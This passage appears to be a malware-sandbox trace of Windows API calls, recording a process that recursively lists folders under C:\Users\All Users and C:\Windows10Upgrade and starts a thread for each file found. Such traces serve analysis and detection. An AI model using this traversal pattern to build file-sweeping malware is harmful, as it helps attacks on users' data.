ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc31230fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.916] wcscmp (_String1="..", _String2=".") returned 1 [0062.916] wcscmp (_String1="..", _String2="..") returned 0 [0062.916] FindNextFileW (in: hFindFile=0x34341a8, lpFindFileData=0x342db30 | out: lpFindFileData=0x342db30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc31230fe, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0062.916] FindClose (in: hFindFile=0x34341a8 | out: hFindFile=0x34341a8) returned 1 [0062.916] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342db30) returned 1 [0062.916] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481b58) returned 1 [0062.916] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cda28) returned 1 [0062.916] RtlExitUserThread (Status=0x0) Thread: id = 143 os_tid = 0x10b4 [0062.917] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fce00 [0062.917] wcscpy (in: _Dest=0x33fce00, _Source="C:\\Users\\All Users\\Start Menu" | out: _Dest="C:\\Users\\All Users\\Start Menu") returned="C:\\Users\\All Users\\Start Menu" [0062.917] wcscat (in: _Dest=0x33fce00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Start Menu\\") returned="C:\\Users\\All Users\\Start Menu\\" [0062.917] wcscat (in: _Dest=0x33fce00, _Source="*" | out: _Dest="C:\\Users\\All Users\\Start Menu\\*") returned="C:\\Users\\All Users\\Start Menu\\*" [0062.917] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342db30 [0062.918] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Start Menu\\*", lpFindFileData=0x342db30 | out: lpFindFileData=0x342db30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0062.918] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342db30) returned 1 [0062.918] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce00) returned 1 [0062.918] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd4c0) returned 1 [0062.918] RtlExitUserThread (Status=0x0) Thread: id = 144 os_tid = 0x10b8 [0062.919] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3e) returned 0x33fce00 [0062.919] wcscpy (in: _Dest=0x33fce00, _Source="C:\\Users\\All Users\\Templates" | out: _Dest="C:\\Users\\All Users\\Templates") returned="C:\\Users\\All Users\\Templates" [0062.919] wcscat (in: _Dest=0x33fce00, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Templates\\") returned="C:\\Users\\All Users\\Templates\\" [0062.919] wcscat (in: _Dest=0x33fce00, _Source="*" | out: _Dest="C:\\Users\\All Users\\Templates\\*") returned="C:\\Users\\All Users\\Templates\\*" [0062.919] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342db30 [0062.919] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Templates\\*", lpFindFileData=0x342db30 | out: lpFindFileData=0x342db30*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0062.920] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342db30) returned 1 [0062.920] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fce00) returned 1 [0062.920] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd9d0) returned 1 [0062.920] RtlExitUserThread (Status=0x0) Thread: id = 145 os_tid = 0x10bc [0062.921] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fd670 [0062.921] wcscpy (in: _Dest=0x33fd670, _Source="C:\\Users\\All Users\\USOPrivate" | out: _Dest="C:\\Users\\All Users\\USOPrivate") returned="C:\\Users\\All Users\\USOPrivate" [0062.922] wcscat (in: _Dest=0x33fd670, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOPrivate\\") returned="C:\\Users\\All Users\\USOPrivate\\" [0062.922] wcscat (in: _Dest=0x33fd670, _Source="*" | out: _Dest="C:\\Users\\All Users\\USOPrivate\\*") returned="C:\\Users\\All Users\\USOPrivate\\*" [0062.922] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342db30 [0062.922] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\USOPrivate\\*", lpFindFileData=0x342db30 | out: lpFindFileData=0x342db30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1931975, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1931975, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34341a8 [0062.922] wcscmp (_String1=".", _String2=".") returned 0 [0062.922] FindNextFileW (in: hFindFile=0x34341a8, lpFindFileData=0x342db30 | out: lpFindFileData=0x342db30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17d2dc32, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1931975, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x1931975, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.922] wcscmp (_String1="..", _String2=".") returned 1 [0062.922] wcscmp (_String1="..", _String2="..") returned 0 [0062.922] FindNextFileW (in: hFindFile=0x34341a8, lpFindFileData=0x342db30 | out: lpFindFileData=0x342db30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1931975, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x2bb800e, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0x2bb800e, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateStore", cAlternateFileName="UPDATE~1")) returned 1 [0062.922] wcscmp (_String1="UpdateStore", _String2=".") returned 1 [0062.922] wcscmp (_String1="UpdateStore", _String2="..") returned 1 [0062.922] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x54) returned 0x3481eb8 [0062.922] wcscpy (in: _Dest=0x3481eb8, _Source="C:\\Users\\All Users\\USOPrivate" | out: _Dest="C:\\Users\\All Users\\USOPrivate") returned="C:\\Users\\All Users\\USOPrivate" [0062.922] wcscat (in: _Dest=0x3481eb8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOPrivate\\") returned="C:\\Users\\All Users\\USOPrivate\\" [0062.922] wcscat (in: _Dest=0x3481eb8, _Source="UpdateStore" | out: _Dest="C:\\Users\\All Users\\USOPrivate\\UpdateStore") returned="C:\\Users\\All Users\\USOPrivate\\UpdateStore" [0072.912] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x3481eb8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4f4 [0072.913] FindNextFileW (in: hFindFile=0x34341a8, lpFindFileData=0x342db30 | out: lpFindFileData=0x342db30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1931975, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x2bb800e, ftLastAccessTime.dwHighDateTime=0x1d47c36, ftLastWriteTime.dwLowDateTime=0x2bb800e, ftLastWriteTime.dwHighDateTime=0x1d47c36, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UpdateStore", cAlternateFileName="UPDATE~1")) returned 0 [0072.913] FindClose (in: hFindFile=0x34341a8 | out: hFindFile=0x34341a8) returned 1 [0072.913] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342db30) returned 1 [0072.913] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd670) returned 1 [0072.913] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd7d8) returned 1 [0072.913] RtlExitUserThread (Status=0x0) Thread: id = 146 os_tid = 0x10c0 [0062.923] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x3e) returned 0x33fd6b8 [0062.923] wcscpy (in: _Dest=0x33fd6b8, _Source="C:\\Users\\All Users\\USOShared" | out: _Dest="C:\\Users\\All Users\\USOShared") returned="C:\\Users\\All Users\\USOShared" [0062.923] wcscat (in: _Dest=0x33fd6b8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\") returned="C:\\Users\\All Users\\USOShared\\" [0062.923] wcscat (in: _Dest=0x33fd6b8, _Source="*" | out: _Dest="C:\\Users\\All Users\\USOShared\\*") returned="C:\\Users\\All Users\\USOShared\\*" [0062.923] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342dd98 [0062.923] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\USOShared\\*", lpFindFileData=0x342dd98 | out: lpFindFileData=0x342dd98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa4ade3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa4ade3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34341e8 [0062.923] wcscmp (_String1=".", _String2=".") returned 0 [0062.923] FindNextFileW (in: hFindFile=0x34341e8, lpFindFileData=0x342dd98 | out: lpFindFileData=0x342dd98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xa4ade3, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xa4ade3, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.923] wcscmp (_String1="..", _String2=".") returned 1 [0062.924] wcscmp (_String1="..", _String2="..") returned 0 [0062.924] FindNextFileW (in: hFindFile=0x34341e8, lpFindFileData=0x342dd98 | out: lpFindFileData=0x342dd98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xde371631, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xde371631, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 1 [0062.924] wcscmp (_String1="Logs", _String2=".") returned 1 [0062.924] wcscmp (_String1="Logs", _String2="..") returned 1 [0062.924] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x44) returned 0x33f9dd8 [0062.924] wcscpy (in: _Dest=0x33f9dd8, _Source="C:\\Users\\All Users\\USOShared" | out: _Dest="C:\\Users\\All Users\\USOShared") returned="C:\\Users\\All Users\\USOShared" [0062.924] wcscat (in: _Dest=0x33f9dd8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\USOShared\\") returned="C:\\Users\\All Users\\USOShared\\" [0062.924] wcscat (in: _Dest=0x33f9dd8, _Source="Logs" | out: _Dest="C:\\Users\\All Users\\USOShared\\Logs") returned="C:\\Users\\All Users\\USOShared\\Logs" [0072.910] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33f9dd8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f8 [0072.911] FindNextFileW (in: hFindFile=0x34341e8, lpFindFileData=0x342dd98 | out: lpFindFileData=0x342dd98*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xa4ade3, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xde371631, ftLastAccessTime.dwHighDateTime=0x1d47c35, ftLastWriteTime.dwLowDateTime=0xde371631, ftLastWriteTime.dwHighDateTime=0x1d47c35, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Logs", cAlternateFileName="")) returned 0 [0072.911] FindClose (in: hFindFile=0x34341e8 | out: hFindFile=0x34341e8) returned 1 [0072.911] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342dd98) returned 1 [0072.911] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd6b8) returned 1 [0072.911] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd820) returned 1 [0072.911] RtlExitUserThread (Status=0x0) Thread: id = 147 os_tid = 0x10c4 [0062.924] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x5e) returned 0x3426cc0 [0062.924] wcscpy (in: _Dest=0x3426cc0, _Source="C:\\Users\\All Users\\WindowsHolographicDevices" | out: _Dest="C:\\Users\\All Users\\WindowsHolographicDevices") returned="C:\\Users\\All Users\\WindowsHolographicDevices" [0062.924] wcscat (in: _Dest=0x3426cc0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\WindowsHolographicDevices\\") returned="C:\\Users\\All Users\\WindowsHolographicDevices\\" [0062.924] wcscat (in: _Dest=0x3426cc0, _Source="*" | out: _Dest="C:\\Users\\All Users\\WindowsHolographicDevices\\*") returned="C:\\Users\\All Users\\WindowsHolographicDevices\\*" [0062.924] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342e000 [0062.925] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\WindowsHolographicDevices\\*", lpFindFileData=0x342e000 | out: lpFindFileData=0x342e000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x34347a8 [0062.925] wcscmp (_String1=".", _String2=".") returned 0 [0062.925] FindNextFileW (in: hFindFile=0x34347a8, lpFindFileData=0x342e000 | out: lpFindFileData=0x342e000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6d9d2c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c07ca, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.926] wcscmp (_String1="..", _String2=".") returned 1 [0062.926] wcscmp (_String1="..", _String2="..") returned 0 [0062.926] FindNextFileW (in: hFindFile=0x34347a8, lpFindFileData=0x342e000 | out: lpFindFileData=0x342e000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6dc3522, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c147a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpatialStore", cAlternateFileName="SPATIA~1")) returned 1 [0062.926] wcscmp (_String1="SpatialStore", _String2=".") returned 1 [0062.926] wcscmp (_String1="SpatialStore", _String2="..") returned 1 [0062.926] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x74) returned 0x33cd270 [0062.926] wcscpy (in: _Dest=0x33cd270, _Source="C:\\Users\\All Users\\WindowsHolographicDevices" | out: _Dest="C:\\Users\\All Users\\WindowsHolographicDevices") returned="C:\\Users\\All Users\\WindowsHolographicDevices" [0062.926] wcscat (in: _Dest=0x33cd270, _Source="\\" | out: _Dest="C:\\Users\\All Users\\WindowsHolographicDevices\\") returned="C:\\Users\\All Users\\WindowsHolographicDevices\\" [0062.926] wcscat (in: _Dest=0x33cd270, _Source="SpatialStore" | out: _Dest="C:\\Users\\All Users\\WindowsHolographicDevices\\SpatialStore") returned="C:\\Users\\All Users\\WindowsHolographicDevices\\SpatialStore" [0072.908] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32102b0, lpParameter=0x33cd270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3f4 [0072.909] FindNextFileW (in: hFindFile=0x34347a8, lpFindFileData=0x342e000 | out: lpFindFileData=0x342e000*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe6dc3522, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xc32c147a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe6dc3522, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpatialStore", cAlternateFileName="SPATIA~1")) returned 0 [0072.909] FindClose (in: hFindFile=0x34347a8 | out: hFindFile=0x34347a8) returned 1 [0072.909] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x342e000) returned 1 [0072.909] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426cc0) returned 1 [0072.909] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e84c8) returned 1 [0072.909] RtlExitUserThread (Status=0x0) Thread: id = 148 os_tid = 0x10c8 [0062.926] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4c) returned 0x33cda28 [0062.926] wcscpy (in: _Dest=0x33cda28, _Source="C:\\Windows10Upgrade\\resources\\amd64" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64") returned="C:\\Windows10Upgrade\\resources\\amd64" [0062.926] wcscat (in: _Dest=0x33cda28, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\") returned="C:\\Windows10Upgrade\\resources\\amd64\\" [0062.926] wcscat (in: _Dest=0x33cda28, _Source="*" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\*") returned="C:\\Windows10Upgrade\\resources\\amd64\\*" [0062.926] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x250) returned 0x342e268 [0062.926] FindFirstFileW (in: lpFileName="C:\\Windows10Upgrade\\resources\\amd64\\*", lpFindFileData=0x342e268 | out: lpFindFileData=0x342e268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea398e53, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3a5195, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea3a652e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3434028 [0062.928] wcscmp (_String1=".", _String2=".") returned 0 [0062.928] FindNextFileW (in: hFindFile=0x3434028, lpFindFileData=0x342e268 | out: lpFindFileData=0x342e268*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xea398e53, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea3a5195, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0xea3a652e, ftLastWriteTime.dwHighDateTime=0x1d32736, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0062.928] wcscmp (_String1="..", _String2=".") returned 1 [0062.928] wcscmp (_String1="..", _String2="..") returned 0 [0062.928] FindNextFileW (in: hFindFile=0x3434028, lpFindFileData=0x342e268 | out: lpFindFileData=0x342e268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea39b5b0, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea39b5b0, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x16ebc, dwReserved0=0x0, dwReserved1=0x0, cFileName="BiosBlocks.xml", cAlternateFileName="BIOSBL~1.XML")) returned 1 [0062.929] wcscmp (_String1="BiosBlocks.xml", _String2=".") returned 1 [0062.929] wcscmp (_String1="BiosBlocks.xml", _String2="..") returned 1 [0062.929] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x66) returned 0x33e8990 [0062.929] wcscpy (in: _Dest=0x33e8990, _Source="C:\\Windows10Upgrade\\resources\\amd64" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64") returned="C:\\Windows10Upgrade\\resources\\amd64" [0062.929] wcscat (in: _Dest=0x33e8990, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\") returned="C:\\Windows10Upgrade\\resources\\amd64\\" [0062.929] wcscat (in: _Dest=0x33e8990, _Source="BiosBlocks.xml" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\BiosBlocks.xml") returned="C:\\Windows10Upgrade\\resources\\amd64\\BiosBlocks.xml" [0072.901] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x33e8990, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3d4 [0072.902] FindNextFileW (in: hFindFile=0x3434028, lpFindFileData=0x342e268 | out: lpFindFileData=0x342e268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea39c8ec, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea39c8ec, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x11daf, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwcompat.txt", cAlternateFileName="")) returned 1 [0072.902] wcscmp (_String1="hwcompat.txt", _String2=".") returned 1 [0072.902] wcscmp (_String1="hwcompat.txt", _String2="..") returned 1 [0072.902] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x62) returned 0x347de70 [0072.902] wcscpy (in: _Dest=0x347de70, _Source="C:\\Windows10Upgrade\\resources\\amd64" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64") returned="C:\\Windows10Upgrade\\resources\\amd64" [0072.902] wcscat (in: _Dest=0x347de70, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\") returned="C:\\Windows10Upgrade\\resources\\amd64\\" [0072.902] wcscat (in: _Dest=0x347de70, _Source="hwcompat.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\hwcompat.txt") returned="C:\\Windows10Upgrade\\resources\\amd64\\hwcompat.txt" [0072.903] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347de70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8d8 [0072.903] FindNextFileW (in: hFindFile=0x3434028, lpFindFileData=0x342e268 | out: lpFindFileData=0x342e268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea39dcc9, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea39dcc9, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x90d, dwReserved0=0x0, dwReserved1=0x0, cFileName="hwexclude.txt", cAlternateFileName="HWEXCL~1.TXT")) returned 1 [0072.903] wcscmp (_String1="hwexclude.txt", _String2=".") returned 1 [0072.903] wcscmp (_String1="hwexclude.txt", _String2="..") returned 1 [0072.903] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x64) returned 0x347daf0 [0072.903] wcscpy (in: _Dest=0x347daf0, _Source="C:\\Windows10Upgrade\\resources\\amd64" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64") returned="C:\\Windows10Upgrade\\resources\\amd64" [0072.903] wcscat (in: _Dest=0x347daf0, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\") returned="C:\\Windows10Upgrade\\resources\\amd64\\" [0072.904] wcscat (in: _Dest=0x347daf0, _Source="hwexclude.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\hwexclude.txt") returned="C:\\Windows10Upgrade\\resources\\amd64\\hwexclude.txt" [0072.904] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x347daf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8dc [0072.904] FindNextFileW (in: hFindFile=0x3434028, lpFindFileData=0x342e268 | out: lpFindFileData=0x342e268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea39eff9, ftCreationTime.dwHighDateTime=0x1d32736, ftLastAccessTime.dwLowDateTime=0xea39eff9, ftLastAccessTime.dwHighDateTime=0x1d32736, ftLastWriteTime.dwLowDateTime=0x626300, ftLastWriteTime.dwHighDateTime=0x1d2ea8a, nFileSizeHigh=0x0, nFileSizeLow=0x26b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="nxquery.cat", cAlternateFileName="")) returned 1 [0072.904] wcscmp (_String1="nxquery.cat", _String2=".") returned 1 [0072.904] wcscmp (_String1="nxquery.cat", _String2="..") returned 1 [0072.904] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x60) returned 0x3426ab8 [0072.904] wcscpy (in: _Dest=0x3426ab8, _Source="C:\\Windows10Upgrade\\resources\\amd64" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64") returned="C:\\Windows10Upgrade\\resources\\amd64" [0072.904] wcscat (in: _Dest=0x3426ab8, _Source="\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\") returned="C:\\Windows10Upgrade\\resources\\amd64\\" [0072.905] wcscat (in: _Dest=0x3426ab8, _Source="nxquery.cat" | out: _Dest="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.cat") returned="C:\\Windows10Upgrade\\resources\\amd64\\nxquery.cat" [0072.905] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x32077a0, lpParameter=0x3426ab8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x8e0 [0072.905] FindNextFileW (in: hFindFile=0x3434028, lpFindFileData=0x342e268 | out: lpFindFileData=0x342e268*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea3a3e27, 